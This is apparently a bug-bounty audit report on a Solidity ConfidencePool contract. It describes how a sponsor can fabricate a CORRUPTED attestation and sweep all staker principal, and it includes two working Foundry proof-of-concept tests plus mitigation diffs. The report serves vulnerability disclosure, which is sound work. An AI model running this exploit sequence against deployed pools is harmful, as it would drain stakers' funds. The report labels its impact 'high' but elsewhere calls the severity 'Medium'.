FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

ConfidencePool treats the sponsor-writable CORRUPTED attestation as breach evidence, letting a sponsor arm a scope-blind sweep of staker principal

Author Revealed upon completion

Root + Impact

Description

Normal behavior: A Confidence Pool insures the outcome of a Safe Harbor agreement, and stakers are meant to lose principal only when the in-scope contracts were genuinely breached. (DESIGN.md #1). states the premise the mechanism rests on: "Only the terminal CORRUPTED state is evidence of an actual breach."

The issue: CORRUPTED is not breach evidence — it is an attestation written by the per-agreement attack moderator, which by default is the agreement owner/deployer, i.e. the same party createPool requires to be the pool sponsor (IAgreement(agreement).owner() == msg.sender). Upstream AttackRegistry.markCorrupted() is onlyAttackModerator and requires no proof of any exploit. The pool reads this attestation throughgetAgreementState() and cannot distinguish a fabricatedCORRUPTEDfrom a real one. Because the scope-blind auto-CORRUPTED backstop then moves the entire pool to the sponsor-controlled recoveryAddress, a sponsor can write a CORRUPTED attestation against their own agreement — with no breach — and arm a sweep of all staker principal.

Why this is not already covered by DESIGN.md. The design accepts the outcome but justifies it on reasoning that is wrong for a fabricated attestation:

#1 — asserts CORRUPTED is "evidence of an actual breach." It is a sponsor-settable attestation with no on-chain proof. This is the foundational over-trust; it is true unconditionally, independent of any later precondition.

#6 — accepts the auto-CORRUPTED loss "if the moderator is absent AND the breach was out-of-scope." Its reasoning assumes a real breach that is merely mis-scoped, which the sponsor cannot cause. Here the CORRUPTED trigger is manufactured on demand, so the loss is deliberately armable on every pool rather than a passive coincidence.

#11 — treats a registry "reporting false state" as "the trusted [DAO] entity attacking its own infrastructure — out of the adversarial model," and reasons only about the false-PRODUCTION direction ("worst case is principal returned to stakers"). This path needs no DAO misbehavior — it is an untrusted sponsor writing to an honest registry via a legitimately held role — and it is the false-CORRUPTED → sweep direction #11 never considers.

How it manifests;

The sponsor drives the agreement to UNDER_ATTACK (which the pool observes, sealing riskWindowStart and locking stakers out of withdraw), then calls markCorrupted with no breach. During the expiry + MODERATOR_CORRUPTED_GRACE window the pool is frozen for stakers (no withdraw, no claimSurvived, and claimExpired reverts). Once the grace elapses without the pool's DAO moderator flagging SURVIVED, anyone permissionlessly finalizes the pool as bad-faith CORRUPTED and sweeps it to the sponsor.

// src/ConfidencePool.sol — claimExpired(), auto-resolution branch
IAttackRegistry.ContractState state = _observePoolState();
// ...
// @> The pool trusts `state == CORRUPTED` as breach evidence. Upstream, this state is written by
// @> markCorrupted() (onlyAttackModerator == the sponsor/deployer) with NO proof of any exploit,
// @> so the sponsor can set it against their own agreement at will. The branch is provenance-blind
// @> (cannot tell a DAO-set CORRUPTED from a sponsor-fabricated one) and scope-blind, and it moves
// @> the ENTIRE pool to the sponsor-controlled recoveryAddress.
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator(); // pool frozen for stakers during the grace
}
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus; // reserves ALL principal + bonus
claimsStarted = true; // no moderator override after this
return; // sweep performed by claimCorrupted()
}

Risk

Likelihood:

  1. A protocol that deploys and owns its own agreement holds the attack-moderator role for it (s_authorizedOwner → attackModerator), so the CORRUPTED trigger is available to the sponsor on their own pools with no external cooperation — and markCorrupted requires no proof, so arming the loss costs the sponsor only a griefed reputation on an agreement they never intended to honor.

  2. The sponsor unilaterally arms the trap; the loss discharges only after the pool's DAO moderator fails to flag SURVIVED for the full expiry + MODERATOR_CORRUPTED_GRACE (180 days). This single liveness dependency is the reason severity is Medium rather than High: under a live, honest DAO the sweep never occurs.

  3. Because arming is free and repeatable, the residual risk is the DAO-lapse rate maximized adversarially — the sponsor fabricates across many pools and times periods of DAO overload — rather than the passive (real-breach × lapse) coincidence DESIGN.md #6 reasoned about.

Impact:

  1. 100% of every staker's principal, plus the entire bonus, is swept to the sponsor-controlled recoveryAddress.

  2. Stakers have no self-help during the grace window: withdraw reverts (riskWindowStart != 0), claimSurvived reverts (no SURVIVED flag), and claimExpired reverts (AgreementCorruptedAwaitingModerator). Their funds are frozen and their principal is destroyed unless the DAO intervenes.

  3. The core guarantee of the mechanism — that principal is lost only on a genuine in-scope breach (DESIGN.md #1) — is violated: principal is lost on a fabricated attestation.

Proof of Concept

Two verified, passing tests. The first isolates the pool-side sweep; the second is a full end-to-end against the real BattleChain registry stack, proving the sponsor legitimately holds the attack-moderator role and fabricates CORRUPTED with no breach.

How to reproduce the test file:
The upstream concretes are solc 0.8.34, the pool is solc 0.8.26, so this needs a multi-version build, which the repo isn't set up for by default:

  1. Unpin solc — remove solc = "0.8.26" from foundry.toml (the pool never imports the concrete upstream, so the repo normally only ever compiles 0.8.26).

  2. Add a remapping — solady/=lib/battlechain-safe-harbor-contracts/lib/solady/src/, and recursively init the solady submodule (git submodule update --init --recursive), which the repo's flat clone omits.

  3. solc 0.8.34 must be installed, and the E2E file is pragma 0.8.34 — it never imports the 0.8.26 pool/token sources (would be an incompatible unit); it drives them via local IPool/IToken interfaces + deployCode("ConfidencePool.sol:ConfidencePool").

// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {AttackRegistry} from "@battlechain/AttackRegistry.sol";
import {AgreementFactory} from "@battlechain/AgreementFactory.sol";
import {Agreement} from "@battlechain/Agreement.sol";
import {BattleChainSafeHarborRegistry} from "@battlechain/BattleChainSafeHarborRegistry.sol";
import {
AgreementDetails,
Contact,
Chain as BCChain,
Account as BCAccount,
ChildContractScope,
BountyTerms,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
/// @dev Minimal locally-declared interfaces so this 0.8.34 file never imports the 0.8.26-pinned pool
/// or token sources (which would create an incompatible-version compilation unit). The concrete
/// bytecode is pulled in via `deployCode` at runtime.
interface IPool {
function initialize(
address agreement,
address stakeToken,
address safeHarborRegistry,
address moderator,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address owner,
address[] calldata accounts
) external;
function stake(uint256 amount) external;
function contributeBonus(uint256 amount) external;
function pokeRiskWindow() external;
function withdraw() external;
function claimExpired() external;
function claimCorrupted() external;
function outcome() external view returns (uint8);
function expiry() external view returns (uint32);
function riskWindowStart() external view returns (uint32);
function MODERATOR_CORRUPTED_GRACE() external view returns (uint256);
}
interface IToken {
function mint(address to, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address who) external view returns (uint256);
}
/// @notice TRUE end-to-end PoC against the REAL BattleChain registry stack. Proves a sponsor who
/// holds the (default) attack-moderator role can fabricate a CORRUPTED attestation on their own
/// agreement with NO breach via `markCorrupted`, and that the ConfidencePool's permissionless
/// auto-CORRUPTED backstop then sweeps 100% of staker principal + bonus to the sponsor.
///
/// NOTE: the concrete upstream contracts are pinned to solc 0.8.34 while the pool is pinned to
/// 0.8.26. To compile both, remove the `solc = "0.8.26"` pin from foundry.toml (multi-version).
contract PoC_FabricatedCorrupted_E2E is Test {
uint256 constant ONE = 1e18;
string constant CAIP2 = "eip155:9999";
uint8 constant OUTCOME_CORRUPTED = 2; // PoolStates.Outcome.CORRUPTED
address registryOwner = makeAddr("registryOwner");
address daoRegistryMod = makeAddr("daoRegistryMod");
address poolOutcomeMod = makeAddr("poolOutcomeMod"); // the pool's DAO moderator (should flag SURVIVED)
address treasury = makeAddr("treasury");
address deployerEOA = makeAddr("battleChainDeployer");
address sponsor = makeAddr("sponsor"); // agreement owner + attack moderator + pool owner
address sponsorRecovery = makeAddr("sponsorRecovery");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
address inScopeContract = address(0xBEEF);
BattleChainSafeHarborRegistry shr;
AgreementFactory factory;
AttackRegistry attackReg;
IToken token;
IPool pool;
address agreement;
function setUp() public {
vm.warp(1_750_000_000);
token = IToken(deployCode("MockERC20.sol:MockERC20"));
// Deploy upstream stack; break the init cycle with placeholder addresses, then wire reals.
string[] memory chains = new string[](1);
chains[0] = CAIP2;
shr = BattleChainSafeHarborRegistry(
address(
new ERC1967Proxy(
address(new BattleChainSafeHarborRegistry()),
abi.encodeWithSelector(
BattleChainSafeHarborRegistry.initialize.selector,
registryOwner, chains, address(0xdead), address(0xbeef)
)
)
)
);
factory = AgreementFactory(
address(
new ERC1967Proxy(
address(new AgreementFactory()),
abi.encodeWithSelector(
AgreementFactory.initialize.selector, registryOwner, address(shr), CAIP2
)
)
)
);
attackReg = AttackRegistry(
address(
new ERC1967Proxy(
address(new AttackRegistry()),
abi.encodeWithSelector(
AttackRegistry.initialize.selector,
registryOwner, daoRegistryMod, address(shr), address(factory), deployerEOA, treasury
)
)
)
);
vm.startPrank(registryOwner);
shr.setAgreementFactory(address(factory));
shr.setAttackRegistry(address(attackReg));
vm.stopPrank();
}
function test_E2E_sponsorFabricatesCorruptedOnRealRegistry_thenSweeps() public {
// 1. Sponsor "deploys" the contract via BattleChainDeployer -> authorized as owner.
vm.prank(deployerEOA);
attackReg.registerDeployment(inScopeContract, sponsor);
// 2. Sponsor creates a real Agreement (owner = sponsor) with the contract in scope.
agreement = _createAgreement(sponsor, inScopeContract);
assertEq(Agreement(agreement).owner(), sponsor, "sponsor owns agreement");
assertTrue(Agreement(agreement).isContractInScope(inScopeContract), "contract in scope");
// 3. Sponsor requests attack; DAO approves -> UNDER_ATTACK. attackModerator == sponsor.
vm.prank(sponsor);
attackReg.requestUnderAttack(agreement);
vm.prank(daoRegistryMod);
attackReg.approveAttack(agreement);
assertEq(
uint256(attackReg.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
// 4. Sponsor stands up the ConfidencePool on this agreement; honest stakers deposit.
pool = _deployPool(agreement);
_stake(alice, 100 * ONE);
_stake(bob, 100 * ONE);
_contributeBonus(carol, 40 * ONE);
assertEq(token.balanceOf(address(pool)), 240 * ONE);
// Window observed -> stakers locked in (cannot withdraw).
pool.pokeRiskWindow();
assertTrue(pool.riskWindowStart() != 0, "risk window sealed");
vm.prank(alice);
vm.expectRevert(); // WithdrawsDisabled
pool.withdraw();
// 5. THE FABRICATION: sponsor marks their OWN agreement CORRUPTED with NO breach.
// markCorrupted is onlyAttackModerator (== sponsor) and requires no proof of exploit.
vm.prank(sponsor);
attackReg.markCorrupted(agreement);
assertEq(
uint256(attackReg.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"sponsor fabricated CORRUPTED on the real registry, no breach"
);
// 6. Pool observes CORRUPTED. The pool's DAO moderator never flags SURVIVED. Grace elapses.
pool.pokeRiskWindow();
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE() + 1);
// 7. Permissionless auto-CORRUPTED finalization + sweep to the sponsor-controlled address.
pool.claimExpired();
assertEq(pool.outcome(), OUTCOME_CORRUPTED, "pool forced to CORRUPTED");
uint256 before = token.balanceOf(sponsorRecovery);
pool.claimCorrupted();
// Outcome: sponsor took every staker's principal + the bonus; stakers got nothing.
assertEq(token.balanceOf(sponsorRecovery) - before, 240 * ONE, "sponsor swept the whole pool");
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
assertEq(token.balanceOf(alice), 0, "alice lost principal");
assertEq(token.balanceOf(bob), 0, "bob lost principal");
}
// --------------------------------------------------------------------------------- helpers
function _createAgreement(address _owner, address c) internal returns (address a) {
BCAccount[] memory accounts = new BCAccount[](1);
accounts[0] =
BCAccount({accountAddress: _addrToStr(c), childContractScope: ChildContractScope.None});
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain({
assetRecoveryAddress: _addrToStr(address(0x22)),
accounts: accounts,
caip2ChainId: CAIP2
});
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact({name: "Test", contact: "test@test.com"});
BountyTerms memory bt = BountyTerms({
bountyPercentage: 10,
bountyCapUsd: 5_000_000,
retainable: false,
identity: IdentityRequirements.Anonymous,
diligenceRequirements: "none",
aggregateBountyCapUsd: 10_000_000
});
AgreementDetails memory d = AgreementDetails({
protocolName: "Test Protocol",
contactDetails: contacts,
chains: chains,
bountyTerms: bt,
agreementURI: "ipfs://test"
});
vm.prank(_owner);
a = factory.create(d, _owner, keccak256(abi.encodePacked(_owner, c)));
vm.prank(_owner);
Agreement(a).extendCommitmentWindow(block.timestamp + 30 days);
}
function _deployPool(address a) internal returns (IPool p) {
address impl = deployCode("ConfidencePool.sol:ConfidencePool");
p = IPool(Clones.clone(impl));
address[] memory scope = new address[](1);
scope[0] = inScopeContract;
p.initialize(
a, address(token), address(shr), poolOutcomeMod,
block.timestamp + 31 days, ONE, sponsorRecovery, sponsor, scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _addrToStr(address addr) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i)) >> 4) & 0xf];
str[3 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i))) & 0xf];
}
return string(str);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
/// @notice PoC (pool-side): a fabricated CORRUPTED attestation drives the scope-blind auto-CORRUPTED
/// backstop to sweep 100% of staker principal + bonus to the sponsor-controlled recoveryAddress.
/// The end-to-end proof that a sponsor can PRODUCE that CORRUPTED state on the real AttackRegistry
/// with no breach lives in PoC_FabricatedCorrupted_E2E.t.sol.
contract PoC_FabricatedCorrupted is BaseConfidencePoolTest {
function test_PoC_sponsorFabricatesCorrupted_sweepsStakerPrincipal() public {
address sponsorEOA = makeAddr("sponsorEOA");
pool.setRecoveryAddress(sponsorEOA);
_stake(alice, 100 * ONE);
_stake(bob, 100 * ONE);
_contributeBonus(carol, 40 * ONE);
assertEq(token.balanceOf(address(pool)), 240 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
// Fabricated CORRUPTED (models markCorrupted: onlyAttackModerator, no breach).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
vm.warp(pool.expiry() + 1);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
uint256 before = token.balanceOf(sponsorEOA);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsorEOA) - before, 240 * ONE);
assertEq(token.balanceOf(address(pool)), 0);
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(bob), 0);
}
}

Recommended Mitigation

The pool cannot verify a breach, so the permissionless, scope-blind backstop must not move principal to a sponsor-controlled address based on an attestation the sponsor can forge. The staker-protective default for the unverifiable path is to return principal (EXPIRED), leaving the punitive CORRUPTED sweep to a live moderator only. This reassigns the "real breach escapes if the moderator is absent" cost onto the sponsor/protocol (who is responsible for moderator liveness) instead of onto stakers (who otherwise lose principal to a fabrication).

IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
- // Permissionless, scope-blind auto-CORRUPTED sweep after the grace window.
- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
- if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
- revert AgreementCorruptedAwaitingModerator();
- }
- outcome = PoolStates.Outcome.CORRUPTED;
- outcomeFlaggedAt = riskWindowEnd;
- corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
- claimsStarted = true;
- emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
- return;
- }
+ // A CORRUPTED registry state is an attack-moderator ATTESTATION (sponsor-settable via
+ // markCorrupted, no breach proof), not verifiable breach evidence. The permissionless backstop
+ // therefore must NOT move principal to recoveryAddress on it. Only a live moderator can resolve
+ // CORRUPTED (flagOutcome); the permissionless path defaults to the staker-protective EXPIRED so a
+ // fabricated attestation cannot destroy principal. During the grace window we still defer to the
+ // moderator; after it, principal is returned rather than swept.
+ if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0
+ && block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
Complementary hardening (defense-in-depth):
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
+ // Lock the sweep destination once stakers are relying on it, mirroring `expiryLocked`, so a
+ // sponsor cannot retarget the CORRUPTED sweep after deposits.
+ if (expiryLocked) revert RecoveryAddressLocked();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!